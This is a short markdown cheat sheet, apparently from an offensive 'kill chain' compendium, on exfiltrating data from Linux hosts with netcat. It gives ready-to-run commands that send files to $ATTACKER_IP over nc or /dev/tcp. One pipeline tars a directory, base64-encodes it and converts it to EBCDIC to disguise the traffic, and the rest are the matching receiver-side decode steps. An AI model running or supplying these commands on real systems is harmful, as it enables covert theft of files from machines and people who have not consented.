killchain-compendium/exfiltration/linux/nc.md

36 lines
537 B
Markdown

# Netcat
## Receiver
* RX
```sh
nc -lp 8080 > out.txt
```
## Transceiver
* TX
```sh
nc $ATTACKER_IP 8080 < in.txt
```
* TX without nc
```sh
cat <file> > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT
```
* Have to be end manually after a while
## Compress and Encode
* Compress and encode the transmitted data
```sh
tar cfz - <directory> | base64 | dd conv=ebcdic > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT
```
* On receiver's side, after `out.data` has been received
```sh
dd conv=ascii if=out.data | base64 -d > out.tar
tar xvf out.tar
```